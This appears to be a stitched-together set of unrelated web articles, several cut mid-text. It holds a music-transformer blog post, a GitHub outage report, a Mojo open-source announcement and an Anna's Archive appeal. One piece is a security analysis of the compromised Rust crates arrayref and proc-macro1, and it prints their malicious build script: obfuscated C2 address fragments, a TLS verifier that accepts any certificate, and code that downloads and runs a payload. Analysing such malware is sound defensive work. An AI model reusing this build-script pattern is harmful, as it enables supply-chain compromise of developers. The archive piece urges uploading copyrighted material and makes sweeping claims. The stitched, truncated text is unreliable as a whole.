NOTE_ON / NOTE_OFF / TIME_SHIFT PITCH: 128 val­ues VELOCITY: ~16 DURATION: ~100

You can en­force the gram­mar dur­ing gen­er­a­tion by mask­ing in­valid next to­kens. After NOTE_ON, only pitch to­kens are valid. After pitch, only ve­loc­ity to­kens are valid. This guar­an­tees syn­tac­ti­cally valid out­put.

I tried note-on/​note-off style rep­re­sen­ta­tions, but my mod­els tended to drift. They would for­get to emit note-off, leave hang­ing notes, or lose track of ac­tive state. That was es­pe­cially bad for my tar­get: a small model run­ning close to real time on a lap­top or phone.

Another rep­re­sen­ta­tion I tried was closer to:

[NOTE, PITCH, VELOCITY, DURATION] | [TIME_SHIFT, DURATION]

This avoids note-off drift be­cause note du­ra­tion is ex­plicit. The time shift to­ken ad­vances the play­head when no note is played.

This worked bet­ter mu­si­cally, but it was slow. One mu­si­cal note took roughly four au­tore­gres­sive trans­former steps. It also burns through the con­text win­dow quickly.

The fi­nal rep­re­sen­ta­tion

The rep­re­sen­ta­tion I even­tu­ally set­tled on was:

NOTE(pitch, delta_on­set, du­ra­tion, ve­loc­ity)

There is no sep­a­rate TIME_SHIFT event in the fi­nal ver­sion. Silence is rep­re­sented by delta_on­set on the next note: the time since the pre­vi­ous note on­set.

For ex­am­ple:

NOTE(C4, delta=0, du­ra­tion=12, ve­loc­ity=80) NOTE(D4, delta=24, du­ra­tion=12, ve­loc­ity=80)

means: play C4, wait 24 time steps be­fore the next note on­set, then play D4.

Chords are rep­re­sented as mul­ti­ple notes with delta_on­set = 0, sorted by pitch2:

NOTE(C4, delta=24, du­ra­tion=24, ve­loc­ity=80) NOTE(E4, delta=0, du­ra­tion=24, ve­loc­ity=78) NOTE(G4, delta=0, du­ra­tion=24, ve­loc­ity=82)

It’s also not a flat to­ken stream like:

NOTE, PITCH, DELTA, DURATION, VELOCITY

Instead of spend­ing four trans­former passes gen­er­at­ing the at­trib­utes of a note, the trans­former ad­vances the mu­sic by one com­plete note at a time. In prac­tice, this gets the large model to about 108 notes/​sec­ond on an iPhone, well above any­thing a hu­man would need for live play­ing.

Internally each note has five cat­e­gor­i­cal fields, each with its own vo­cab­u­lary3, with tim­ing quan­tized to fixed steps.4

[event_type, pitch_id, delta_id, du­ra­tion_id, ve­loc­i­ty_id]

Each field gets its own em­bed­ding. The note to­ken is the sum of all the em­bed­dings:

note = even­t_­type­_em­bed­ding[NOTE] + pitch_em­bed­ding[C4] + delta_em­bed­ding[12] + du­ra­tion_em­bed­ding[24] + ve­loc­i­ty_em­bed­ding[80]

The model then has sep­a­rate out­put heads: pitch, delta, du­ra­tion, and so on.

There is a small nested de­coder be­tween the fields, so later fields can con­di­tion on ear­lier pre­dicted fields. But the ex­pen­sive trans­former back­bone runs only once per note, not once per field.

Sustain Pedal

As you might know, press­ing down the sus­tain pedal on a pi­ano makes notes play even af­ter you re­lease them. I did­n’t want to muddy the im­ple­men­ta­tion with adding sus­tain pedal events. Instead, sus­tain is baked into note du­ra­tion dur­ing pre­pro­cess­ing.

If the key is re­leased while the sus­tain pedal is down, the note is ex­tended to the pedal-up time. If the same pitch is played again first, the ear­lier note is cut off at the re­trig­ger. The re­sult is a note du­ra­tion that ap­prox­i­mates the ac­tual sound­ing du­ra­tion.

This loses the ex­plicit pedal ges­ture, but it makes the mod­el­ing prob­lem much sim­pler: the model only has to pre­dict pitch, on­set, du­ra­tion, and ve­loc­ity.

Dataset

I searched through a lot of pub­licly avail­able datasets and col­lec­tions, fo­cus­ing mostly on older clas­si­cal mu­sic in the pub­lic do­main. The qual­ity var­ied wildly, so I ended up writ­ing quite a few clean­ing scripts.

The fi­nal dataset con­tained a few hun­dred thou­sand MIDI files, rep­re­sent­ing roughly 300 mil­lion note events.

The fi­nal pipeline:

se­lected pi­ano-fo­cused ma­te­r­ial

re­moved or re­duced patho­log­i­cal multi-track mix­tures

fil­tered by den­sity and pitch/​time cov­er­age

dedu­pli­cated by fin­ger­prints that ig­nore global trans­po­si­tion and uni­form tempo changes

grouped al­ter­nate ver­sions of the same com­po­si­tion into the same split

I tried scal­ing the dataset to roughly 5x the size, hop­ing it would im­prove per­for­mance, but the re­sult­ing mod­els were worse. Cleaning and se­lect­ing the data mat­tered more than sim­ply adding more of it.

Training

Initially, train­ing is just cross-en­tropy over the five out­put heads, summed to­gether:

type­_loss + pitch_loss + delta_loss + du­ra­tion_loss + ve­loc­i­ty_loss

This makes it easy to track pitch, du­ra­tion, and ve­loc­ity ac­cu­racy sep­a­rately, rather than re­ly­ing on a sin­gle ag­gre­gate next-to­ken loss.

Still, the train­ing ob­jec­tive has an im­por­tant lim­i­ta­tion: mu­sic con­tin­u­a­tion does not have a sin­gle cor­rect an­swer. A held-out song only gives the model one correct” next note, even though there are of­ten many con­tin­u­a­tions that would work mu­si­cally. Cross-entropy is use­ful for learn­ing the me­chan­ics of mu­sic, but not a great proxy for how good a full con­tin­u­a­tion sounds.

Augmentation

Augmentation was im­por­tant be­cause the live in­put is not a pris­tine MIDI file. It is me play­ing pi­ano, badly enough that notes might be slightly early, late, too hard, etc.

In the end I set­tled on the fol­low­ing aug­men­ta­tions:

global trans­po­si­tion

uni­form tempo scal­ing

du­ra­tion/​ve­loc­ity jit­ter

dropped prompt notes

Model

The ar­chi­tec­ture is es­sen­tially a fairly stan­dard de­coder-only trans­former: RMSNorm, ro­tary po­si­tional em­bed­dings, causal self-at­ten­tion, SwiGLU/MLP blocks, and au­tore­gres­sive gen­er­a­tion.

I mainly trained three model sizes:

small: about 33M pa­ra­me­ters medium: about 64M pa­ra­me­ters large: about 125M pa­ra­me­ters

The small model was great for quick ex­per­i­ments, but the medium model al­most al­ways beat it. The large model per­formed bet­ter, al­though not by a huge mar­gin.

I am cur­rently try­ing to get the medium model close to the large mod­el’s qual­ity, mostly to re­duce foot­print and la­tency in the iOS app.

Scheduled Sampling

My best base model used sched­uled sam­pling be­tween the fields of each note. Normally, dur­ing train­ing, the du­ra­tion and ve­loc­ity pre­dic­tions get to see the cor­rect pitch. But at in­fer­ence time they have to work with what­ever pitch the model ac­tu­ally pre­dicted.

So dur­ing train­ing I some­times fed the model its own pre­dicted pitch in­stead. I started at 0% for the first few epochs, then grad­u­ally in­creased it dur­ing train­ing, up to 50% in the best model.

Funnily enough, this in­creased val­i­da­tion loss but im­proved the con­tin­u­a­tions.

Gemini pref­er­ence ↑

sched­uled 50%

64.3%

with­out sched­uled

35.7%

Evaluation

At first, eval­u­a­tion was just me lis­ten­ing.

I gen­er­ated con­tin­u­a­tions from held-out songs us­ing prompts of 4 – 32 notes, then com­pared model out­puts man­u­ally. This was slow and an­noy­ing and af­ter a while every­thing sounded like noise.

Four-note prompts were the hard­est: there sim­ply was not much mu­si­cal con­text to work with. Eight notes worked bet­ter, while 16 – 32 note prompts were sub­stan­tially more re­li­able be­cause the model had enough struc­ture to in­fer what was hap­pen­ing.

Unprompted gen­er­a­tion is very much hit or miss, but that is­n’t the use-case I’m gun­ning for.

I also wrote a bunch of au­to­matic met­rics:

re­peated pitch n-grams

pitch en­tropy

pitch-class en­tropy

pitch range

The August 17 outage, and the work ahead

github.blog

On August 17, GitHub ex­pe­ri­enced an out­age that lasted 7 hours and 47 min­utes. It dis­rupted github.com, au­then­ti­ca­tion, GitHub Actions, APIs, pull re­quests, is­sues, and Copilot, af­fect­ing de­vel­op­ers and or­ga­ni­za­tions around the world. If you were try­ing to ship soft­ware that day, we let you down.

This was our sec­ond sig­nif­i­cant in­ci­dent in August, fol­low­ing an ac­tions fail­ure on August 6. In March and April, I shared the work un­der­way to im­prove GitHub’s re­li­a­bil­ity. We have made progress, but these in­ci­dents make clear that we must ac­cel­er­ate this work.

What hap­pened

Our in­ves­ti­ga­tion found that the out­age be­gan when traf­fic reached a new peak, and a crit­i­cal in­fra­struc­ture com­po­nent in our Central US data cen­ter failed to scale with it. The re­sult­ing ca­pac­ity pres­sure spread through our sys­tems, caus­ing au­then­ti­ca­tion fail­ures and dis­rupt­ing mul­ti­ple GitHub ser­vices.

Recovery re­quired sev­eral co­or­di­nated ac­tions. Teams rerouted traf­fic, iso­lated af­fected in­fra­struc­ture, and re­stored ser­vices in stages. Most GitHub ser­vices re­cov­ered ear­lier that day, but some Copilot ser­vices took longer. Errors in those ser­vices trig­gered a client-side retry loop that in­creased traf­fic dur­ing re­cov­ery. We had to mit­i­gate that be­hav­ior be­fore we could safely re­store traf­fic. The full root cause analy­sis in­cludes a de­tailed tech­ni­cal time­line.

Neither out­age was caused by a code or con­fig­u­ra­tion change. Both in­ci­dents were ca­pac­ity fail­ures at their core. We failed to scale crit­i­cal com­po­nents be­fore de­mand ex­ceeded their ca­pac­ity. Since April, monthly com­mits have grown from 1.4 bil­lion to 2.9 bil­lion. That growth ex­plains the pres­sure on our sys­tems, but it does not ex­cuse these out­ages.

What we have done and what comes next

As part of the re­li­a­bil­ity com­mit­ments we made ear­lier this year, we have fo­cused on three pri­or­i­ties: adding ca­pac­ity, im­prov­ing ef­fi­ciency, and re­mov­ing ar­chi­tec­tural bot­tle­necks. We have since added more than 3 mil­lion CPU cores, 120 petabytes of high-speed stor­age, and sig­nif­i­cant net­work ca­pac­ity. We in­stalled as much hard­ware as avail­able power al­lowed in our ex­ist­ing data cen­ters while ac­cel­er­at­ing our mi­gra­tion to Azure.

Today, Azure serves roughly 58% of GitHub’s plat­form load and half of all Git op­er­a­tions, up from 12% of plat­form load in May. This ex­panded foot­print has also sup­ported the growth in GitHub Actions job runs shown be­low.

Azure’s in­fra­struc­ture and ca­pac­ity have also ac­cel­er­ated our work to scale the largest monore­pos. Our next mile­stone is an ar­chi­tec­ture that scales read ca­pac­ity lin­early with the num­ber of read­ers, en­abling un­lim­ited read op­er­a­tions. We will roll it out grad­u­ally, be­gin­ning with the largest monore­pos.

Scale is not our only chal­lenge. As the pace and com­plex­ity of change in­creased, our ex­ist­ing op­er­a­tional prac­tices did not keep up. We have redi­rected teams and re­sources to­ward avail­abil­ity and in­vested in stronger test­ing, safer roll­outs, bet­ter ob­serv­abil­ity, and more ef­fec­tive alert­ing. We have made progress, but this work is not com­plete.

In ad­di­tion, we are also iso­lat­ing crit­i­cal sys­tems and re­mov­ing shared de­pen­den­cies be­tween them. This work is de­signed to re­duce the like­li­hood of an out­age and limit its im­pact when one oc­curs.

We learn from every out­age and add new work to our avail­abil­ity work­stream. The August 6 and August 17 in­ci­dents led to two im­me­di­ate changes. First, we are ap­ply­ing con­sis­tent retry lim­its, retry bud­gets, and vari­able time­outs across ser­vice-to-ser­vice in­ter­ac­tions to pre­vent retry storms and cas­cad­ing load. Second, we are re­view­ing lower-pri­or­ity CPU and mem­ory alerts to iden­tify com­po­nents that could fail dur­ing sud­den traf­fic spikes.

Our com­mit­ment to high avail­abil­ity is­n’t just a tech­ni­cal promise. The de­vel­oper com­mu­nity de­pends on GitHub to build, ship, and op­er­ate their work. That is only pos­si­ble if you can rely on us, and on August 17, you could­n’t. It is our re­spon­si­bil­ity to fix that. We’ll earn your trust through the scal­ing and re­li­a­bil­ity of the plat­form.

Written by

Vladimir Fedorov is GitHub’s Chief Technology Officer, bring­ing decades of ex­pe­ri­ence in en­gi­neer­ing lead­er­ship and in­no­va­tion. A pas­sion­ate ad­vo­cate for de­vel­oper pro­duc­tiv­ity, Vlad is lead­ing GitHub’s en­gi­neer­ing team to shape the fu­ture of de­vel­oper tools and in­no­va­tion with a de­vel­oper-first mind­set.

Before join­ing GitHub, Vlad co-founded UserClouds, a startup spe­cial­iz­ing in data gov­er­nance and pri­vacy. He spent 12 years at Facebook, now Meta, as Senior Vice President, lead­ing en­gi­neer­ing teams of over 2,000 across Privacy, Ads, and Platform. Earlier in his ca­reer, Vlad worked at Microsoft and earned both his BS and MS in Computer Science from Caltech. He cur­rently serves on the board of Codepath.org, an or­ga­ni­za­tion ded­i­cated to re­pro­gram­ming higher ed­u­ca­tion to cre­ate the first AI-native gen­er­a­tion of en­gi­neers, CTOs, and founders.

Vlad lives in the Bay Area and when not work­ing en­joys spend­ing time out­side and on the wa­ter with his fam­ily.

Related posts

Explore more from GitHub

Docs

Everything you need to mas­ter GitHub, all in one place.

Go to Docs

GitHub

Build what’s next on GitHub, the place for any­one from any­where to build any­thing.

Start build­ing

Customer sto­ries

Meet the com­pa­nies and en­gi­neer­ing teams that build with GitHub.

Learn more

GitHub Universe 2026

Join us October 28 – 29 in San Francisco or on­line for GitHub Universe, our flag­ship de­vel­oper event unit­ing peo­ple, agents, and the world’s code.

Register now

Malicious Rust Crate arrayref Runs a Build-Time Payload

safedep.io

Summary

On August 20, 2026, a com­pro­mised re­lease of the pop­u­lar Rust crate ar­rayref ap­peared on crates.io. Version 0.3.10 added a de­pen­dency on a ty­posquat­ted crate called proc-macro1, whose build script down­loads and runs a re­mote bi­nary while a pro­ject com­piles. The code runs at build time, so sim­ply com­pil­ing a pro­ject that pulled the bad ver­sions is enough to trig­ger it. The crates.io team has since re­moved the ma­li­cious ver­sions.

Packages in­volved

The gen­uine ar­rayref and ap­pend-only-vec crates are main­tained by droundy, whose ac­count ap­pears to have been com­pro­mised. The cor­re­spond­ing GitHub repos­i­to­ries are no longer avail­able. github.com/​droundy/​ar­rayref, github.com/​droundy/​ap­pend-only-vec, and the en­tire github.com/​droundy ac­count all re­turn 404, so the up­stream code is no longer avail­able for in­spec­tion. A sep­a­rate ac­count, dtol­ney, pub­lished proc-macro1. The user­name closely re­sem­bles David Tolnay’s real dtol­nay ac­count. Its meta­data forges au­thors = [“David Tolnay <[email protected]>“] and points repos­i­tory at a dtol­nay/​proc-macro1 path that re­turns 404.

Note that proc-macro1 is not proc-macro2. The real crate that macro au­thors de­pend on is proc-macro2. The src/ of the ma­li­cious proc-macro1 is a gen­uine copy of proc-macro2, so builds kept work­ing while the build script ran.

What the build script does

The pay­load lives in the build script of proc-macro1 1.0.107. It stores its server ad­dress as base64 frag­ments and re­assem­bles them at build time, quoted in the ad­vi­sory:

// proc-macro1 – 1.0.107/​build.rs (quoted in rust­sec/​ad­vi­sory-db#3161)const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

// proc-macro1 – 1.0.107/​build.rs (quoted in rust­sec/​ad­vi­sory-db#3161)

const SRC_URL_PARTS: &[&str] =

&[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];

const END_URL_PARTS: &[&str] =

&[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

Decoded, those frag­ments pro­duce the pay­load host hxxps://​23[.]254[.]165[.]112:9089/ and the com­mand and con­trol ad­dress 23[.]254[.]165[.]112:443. The script fetches an ar­chi­tec­ture-spe­cific bi­nary over a TLS con­nec­tion that ac­cepts any cer­tifi­cate with­out val­i­da­tion, then runs it de­tached from the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell script and a VBScript launcher un­der %TEMP% and starts them hid­den, then aban­dons the child process so the com­piler does not wait for it.

How it spread

The owner ac­count yanked the older ar­rayref re­leases 0.3.5 through 0.3.9. Yanking a crate makes Cargo print a consider up­dat­ing to a ver­sion that is not yanked” warn­ing, which nudges de­vel­op­ers to­ward the only non-yanked re­lease, the ma­li­cious 0.3.10. The re­porter who filed the RustSec ad­vi­sory noted this is how they hit it.

ar­rayref is widely used as a tran­si­tive de­pen­dency. It sits deep in com­mon Rust graphs through tiny-skia, sctk-ad­waita, and winit, which places it un­der most GUI work built on egui, eframe, and iced. The crate has about 245 mil­lion all-time down­loads (244,989,384 at time of writ­ing), with the clean 0.3.9 re­lease ac­count­ing for roughly 152 mil­lion. Those num­bers mea­sure how widely the crate is used rather than a count of af­fected builds.

Indicators of com­pro­mise

SHA256 of the re­moved crate ar­ti­facts:

Part 2: Technical Analysis

Our tech­ni­cal analy­sis cov­ers the two crates be­hind this in­ci­dent, ar­rayref 0.3.10 and proc-macro1 1.0.107. ar­rayref 0.3.10 pulls in a de­pen­dency called proc-macro1. The ma­li­cious code is in the build script of proc-macro1, not in ar­rayref it­self.

The in­jec­tion point in ar­rayref

ar­rayref is a small crate of four macros. Up to 0.3.9 it has no build script and no run­time de­pen­den­cies. Version 0.3.10 keeps that macro source and adds one line to the man­i­fest:

[package]name = arrayref”version = 0.3.10″build = false[de­pen­den­cies.proc-macro1]ver­sion = 1.0.107”

[package]

name = arrayref”

ver­sion = 0.3.10”

build = false

[dependencies.proc-macro1]

ver­sion = 1.0.107”

This [dependencies.proc-macro1] en­try is suf­fi­cient to in­tro­duce the ma­li­cious crate. The re­quire­ment 1.0.107 is a caret range, and with only 1.0.106 and 1.0.107 ever pub­lished it re­solves to the ma­li­cious 1.0.107. The crate’s own src/​lib.rs is the or­di­nary macro code, for ex­am­ple the ar­ray_ref! macro:

#[macro_export]macro_rules! ar­ray_ref { ($arr:expr, $offset:expr, $len:expr) => {{ { #[inline] const un­safe fn as_ar­ray<T>(slice: &[T]) -> &[T; $len] { &*(slice.as_ptr() as *const [_; $len]) } let off­set = $offset; let slice = &$arr[offset..offset + $len]; #[allow(unused_unsafe)] un­safe { as_ar­ray(slice) } } }};}

#[macro_export]

macro_rules! ar­ray_ref {

($arr:expr, $offset:expr, $len:expr) => {{

{

#[inline]

const un­safe fn as_ar­ray<T>(slice: &[T]) -> &[T; $len] {

&*(slice.as_ptr() as *const [_; $len])

}

let off­set = $offset;

let slice = &$arr[offset..offset + $len];

#[allow(unused_unsafe)]

un­safe {

as_ar­ray(slice)

}

}

}};

}

Nothing in the ar­rayref source ref­er­ences proc-macro1, and it does not need to. Cargo builds every de­clared non-op­tional de­pen­dency, whether or not the code uses it. So the man­i­fest en­try alone makes Cargo fetch and build proc-macro1 when­ever a pro­ject pulls in ar­rayref 0.3.10, and build­ing it runs the ma­li­cious build script.

proc-macro1 is a re­named copy of proc-macro2

The src/ of proc-macro1 is proc-macro2 with a me­chan­i­cal find-and-re­place of proc-macro2 to proc-macro1. The re­name reaches into doc­u­men­ta­tion links and even copied is­sue ref­er­ences, for ex­am­ple htm­l_­root_url = https://​docs.rs/​proc-macro1/​1.0.107 in src/​lib.rs and a github.com/​dtol­nay/​proc-macro1/​is­sues/​235 link in src/​fall­back.rs. Because the li­brary code is real proc-macro2, the crate works as a drop-in. This makes the ma­li­cious crate less no­tice­able dur­ing a nor­mal build.

The pack­age meta­data forges an iden­tity:

au­thors = [“David Tolnay <[email protected]>“]repository = https://​github.com/​dtol­nay/​proc-macro1

au­thors = [“David Tolnay <[email protected]>“]

repos­i­tory = https://​github.com/​dtol­nay/​proc-macro1

The email [email protected] is not David Tolnay’s, and the dtol­nay/​proc-macro1 repos­i­tory re­turns 404. The sus­pi­cious dif­fer­ence is in the build de­pen­den­cies, which real proc-macro2 does not have:

[build-dependencies.base64]version = 0.22”[build-dependencies.rustls]version = 0.23″features = [“ring”, std”, tls12”]default-features = false[build-de­pen­den­cies.ureq]ver­sion = 2″features = [“tls”]default-features = false

[build-dependencies.base64]

ver­sion = 0.22”

[build-dependencies.rustls]

ver­sion = 0.23”

fea­tures = [“ring”, std”, tls12”]

de­fault-fea­tures = false

[build-dependencies.ureq]

ver­sion = 2”

fea­tures = [“tls”]

de­fault-fea­tures = false

Those three crates give the build script base64 de­cod­ing, a TLS stack, and an HTTP client. These de­pen­den­cies are un­usual for a to­ken-pars­ing li­brary, and the ma­li­cious build script uses them.

The build script pay­load

The build script splits the server ad­dress into base64 frag­ments and re­builds it at com­pile time, so the raw string never ap­pears in the source:

const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];

const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

Decoded, SRC_URL_PARTS is hxxps://​23[.]254[.]165[.]112:9089/ and END_URL_PARTS is 23[.]254[.]165[.]112:443.

The down­load uses a TLS client that ac­cepts any cer­tifi­cate. The AcceptAll ver­i­fier re­turns suc­cess from every cer­tifi­cate and sig­na­ture check in the rustls ServerCertVerifier trait, so a self-signed cer­tifi­cate on the raw IP passes:

impl ServerCertVerifier for AcceptAll { fn ver­i­fy_serv­er_cert(/* … */) -> Result<ServerCertVerified, rustls::Er­ror> { Ok(ServerCertVerified::assertion()) } // ver­i­fy_tl­s12_sig­na­ture and ver­i­fy_tl­s13_sig­na­ture also re­turn suc­cess un­con­di­tion­ally}

impl ServerCertVerifier for AcceptAll {

fn ver­i­fy_serv­er_cert(/* … */) -> Result<ServerCertVerified, rustls::Er­ror> {

Ok(ServerCertVerified::assertion())

}

// ver­i­fy_tl­s12_sig­na­ture and ver­i­fy_tl­s13_sig­na­ture also re­turn suc­cess un­con­di­tion­ally

}

The build script picks the bi­nary to fetch by op­er­at­ing sys­tem and ar­chi­tec­ture. It sup­ports four tar­gets and aborts the build on any­thing else:

fn link_­suf­fix() -> &’static str { match (std::env::consts::OS, std::env::con­sts::ARCH) { (“linux”, x86_64″) => rust-crate_0.1.0”, (“windows”, x86_64”) => rust-crate_0.2.0″, (“macos”, x86_64″) => rust-crate_0.3.0”, (“macos”, aarch64”) => rust-crate_0.4.0″, (_, _) => panic!(“un­sup­ported plat­form”), }}

fn link_­suf­fix() -> &’static str {

match (std::env::consts::OS, std::env::con­sts::ARCH) {

(“linux”, x86_64″) => rust-crate_0.1.0”,

(“windows”, x86_64″) => rust-crate_0.2.0”,

(“macos”, x86_64″) => rust-crate_0.3.0”,

(“macos”, aarch64″) => rust-crate_0.4.0”,

(_, _) => panic!(“un­sup­ported plat­form”),

}

}

The down­load and ex­e­cu­tion run in­side main, be­fore the fea­ture gate and the gen­uine proc-macro2 con­fig­u­ra­tion logic that fol­lows. There is no fea­ture flag or en­vi­ron­ment check guard­ing it, so it runs on every build on a sup­ported plat­form:

// proc-macro1 – 1.0.107/​build.rs (inside main)let url = sr­c_­down­load­_url();let bytes = down­load­_bytes(&url);match std::env::con­sts::OS { linux” | macos” => run_u­nix_­pay­load(bytes), windows” => run_win­dows_­pay­load(bytes), os => panic!(“un­sup­ported OS: {os}“),}

// proc-macro1 – 1.0.107/​build.rs (inside main)

let url = sr­c_­down­load­_url();

let bytes = down­load­_bytes(&url);

match std::env::con­sts::OS {

wsj.com

www.wsj.com

Please en­able JS and dis­able any ad blocker

Mojo🔥 is now open source!

www.modular.com

We are happy to an­nounce that the Mojo🔥 lan­guage is now fully open source un­der the Apache 2.0 li­cense (with LLVM ex­cep­tions)! The source code for the Mojo com­piler, tool­ing, and every­thing else you need to build the lan­guage are now avail­able in our mod­u­lar GitHub repos­i­tory.

The Mojo lan­guage is a bold bet: a novel gen­eral pur­pose pro­gram­ming lan­guage that goes fur­ther than older ones. Mojo in­te­grates the lat­est in com­piler and pro­gram­ming lan­guage re­search to un­lock GPUs, AI ac­cel­er­a­tors, and other ad­vanced com­pute. For the last four years, Mojo has been de­vel­oped with an open com­mu­nity, but a closed com­piler. Last week Mojo hit 1.0 (with source sta­bil­ity), and to­day we’re ex­cited to open source the en­tire com­piler and tool­chain.

Apache 2: A per­mis­sive li­cense

The Apache 2.0 li­cense is the gold stan­dard for pro­gram­ming lan­guages and com­pil­ers, be­cause it pro­vides great flex­i­bil­ity to be used in all sorts of ap­pli­ca­tions. The LLVM ex­ten­sions to the li­cense fur­ther ex­pand those free­doms for build­ing and dis­trib­ut­ing bi­na­ries com­piled from Mojo. We want you to be able to adopt and use Mojo in as many ap­pli­ca­tions as you can imag­ine.

Our open source ap­proach has been de­lib­er­ate: we’ve found that small and tight-knit de­sign teams (not com­mit­tees) are the best for find­ing the soul” of a lan­guage, but that feed­back from a broader com­mu­nity is es­sen­tial to es­cape an echo cham­ber. As such, we first open-sourced the Mojo stan­dard li­brary, then re­leased hun­dreds of thou­sands of lines of ker­nel code writ­ten in Mojo, tools, and sup­port. We built to­gether with com­mu­nity feed­back and pub­lic de­sign pro­pos­als, and are now open sourc­ing the com­piler. We will con­tinue to open our processes fur­ther as Mojo keeps ma­tur­ing.

How to get and build the com­piler

All code for the Mojo lan­guage is now avail­able at the main mod­u­lar GitHub repos­i­tory. First, clone that repos­i­tory lo­cally:

bash

git clone https://​github.com/​mod­u­lar/​mod­u­lar.git

cd mod­u­lar

Then, to build the Mojo com­piler from source and run it against a Mojo file you can use a sin­gle build com­mand:

bash

./bazelw run –config=build-mojo KGEN:mojo — run hello.mojo

At Modular, we use Bazel to man­age the com­plex build processes and caching for Mojo and MAX. This one com­mand will down­load or build every­thing needed to build the Mojo com­piler and the Mojo stan­dard li­brary. The flag –config=build-mojo tells the build sys­tem to com­pile every­thing from scratch, us­ing the source code on your lo­cal sys­tem.

This ex­tends to work­ing with the Mojo stan­dard li­brary, where you can mod­ify the com­piler or li­brary code and run the full suite of tests via:

bash

./bazelw test –config=build-mojo mojo/​stdlib/​test/…

If you aren’t work­ing on the com­piler it­self, you can use the flag –config=prebuilt-mojo and the build sys­tem will down­load the lat­est nightly bi­nary dis­tri­b­u­tion of the com­piler, sav­ing you some com­pi­la­tion time. Note that a pre­built Mojo com­piler is still nec­es­sary to­day if you are cus­tomiz­ing MAX ker­nels or mod­els.

Contributions

The Mojo stan­dard li­brary has been ac­cept­ing con­tri­bu­tions since 2024, and we’re grate­ful for every­one that has helped ad­vance the lan­guage. One learn­ing (particularly in to­day’s era of AI cod­ing) is that we need to be de­lib­er­ate about how we han­dle con­tri­bu­tions. As such, we aren’t ready to take con­tri­bu­tions to the com­piler and tool­ing. We aim to ac­cept con­tri­bu­tions to the com­piler and tool­ing by the end of this year, and we’ll share more de­tails when we can.

To ask any ques­tions about the Mojo com­piler source as you read through it, or to share what you’re work­ing on, please join our fo­rum. Clone the source code and let us know what you’re build­ing with the Mojo lan­guage. We’re ex­cited to open Mojo up to the world and see how it grows!

AI companies destroy physical books — let’s scan rare books before it’s too late

annas-archive.gl

an­nas-archive.gl/​blog, 2026 – 08-05

A guest post by Anna’s Archive vol­un­teer u” (translated from Chinese).

TL;DR: AI com­pa­nies are se­cretly buy­ing, scan­ning, and de­stroy­ing mil­lions of phys­i­cal books to train their mod­els, per­ma­nently lock­ing hu­man knowl­edge in­side pri­vate cor­po­rate servers. Anna’s Archive is ur­gently call­ing on vol­un­teers world­wide to scan and up­load books be­fore this cul­tural her­itage dis­ap­pears for­ever.

Several AI com­pa­nies are ac­quir­ing large quan­ti­ties of sec­ond­hand books through in­ter­me­di­aries, scan­ning and de­stroy­ing them, all to ob­tain train­ing data untouched by ma­chines” from be­fore 2022.

Anthropic’s Project Panama” was ex­posed in a $1.5 bil­lion copy­right set­tle­ment. In early 2024, they launched this highly con­fi­den­tial pro­ject. The com­pany has spent tens of mil­lions of dol­lars pur­chas­ing mil­lions of pa­per books, scan­ning them, train­ing its Claude LLM, and then de­stroy­ing them all. It’s out­ra­geous is that it’s legally per­mis­si­ble, but eth­i­cally, it’s an ex­tremely se­ri­ous crime against hu­man­ity.

So why de­stroy phys­i­cal books? Behind it lies the AI race and the in­ter­ests of cap­i­tal:

It pre­vents these books from be­ing scanned and used for train­ing by com­peti­tors.

It avoids le­gal risks.

Destroying books is cheaper than loss­less scan­ning.

After AI com­pa­nies mas­sively scan and de­stroy phys­i­cal books, they be­come the only ones in the world with dig­i­tal copies. Knowledge is per­ma­nently mo­nop­o­lized on pri­vate servers.

This bat­tle for old books re­veals a para­dox: while promis­ing to make hu­man knowl­edge ac­ces­si­ble,” AI com­pa­nies are dis­man­tling the most solid car­ri­ers of hu­man knowl­edge. The pub­lic may gain more in­tel­li­gent AI as­sis­tants, but at the cost of a vast amount of knowl­edge re­sources dis­ap­pear­ing from the pub­lic do­main.

Shadow li­braries

As the world’s largest shadow li­brary, Anna’s Archive needs a plan to com­bat the de­struc­tion of phys­i­cal books by AI com­pa­nies. After all, the emer­gence of shadow li­braries is the great­est mir­a­cle of knowl­edge shar­ing in the 21st cen­tury. Along with other shadow li­braries, we’re build­ing a dig­i­tal li­brary of Alexandria, an in­ex­tin­guish­able light of hu­man­ity.

We need the help of vol­un­teers world­wide to scan ma­te­ri­als (including books, jour­nal ar­ti­cles, news­pa­pers, mag­a­zines, an­cient books, rare books, and other ma­te­ri­als) from every li­brary and archive around the world and up­load them to the shadow li­brary for knowl­edge preser­va­tion, es­pe­cially those that are eas­ily lost. If every per­son scans a book, and there are 10 mil­lion vol­un­teers world­wide, we can ob­tain 10 mil­lion pieces of in­valu­able wealth.

For small scans and up­loads, we usu­ally award recog­ni­tion and life­time mem­ber­ship to Anna’s Archive.

For large-scale scans and up­loads of books, we can help pay for the scan­ning fees and other re­wards.

Time is run­ning out

Since the be­gin­ning of 2025, AI-generated con­tent has ac­counted for more than half of newly pub­lished in­ter­net con­tent. A fright­en­ing re­al­ity emerges: if much of the fu­ture con­tent con­sists of AI-generated books and pa­pers, will hu­mans be able to dis­tin­guish them? Once AI has ab­sorbed even the last sen­tence writ­ten by hu­mans on pa­per, all that will re­main on the in­ter­net will be AIs own words. In such a world, how can hu­man civ­i­liza­tion be pre­served?

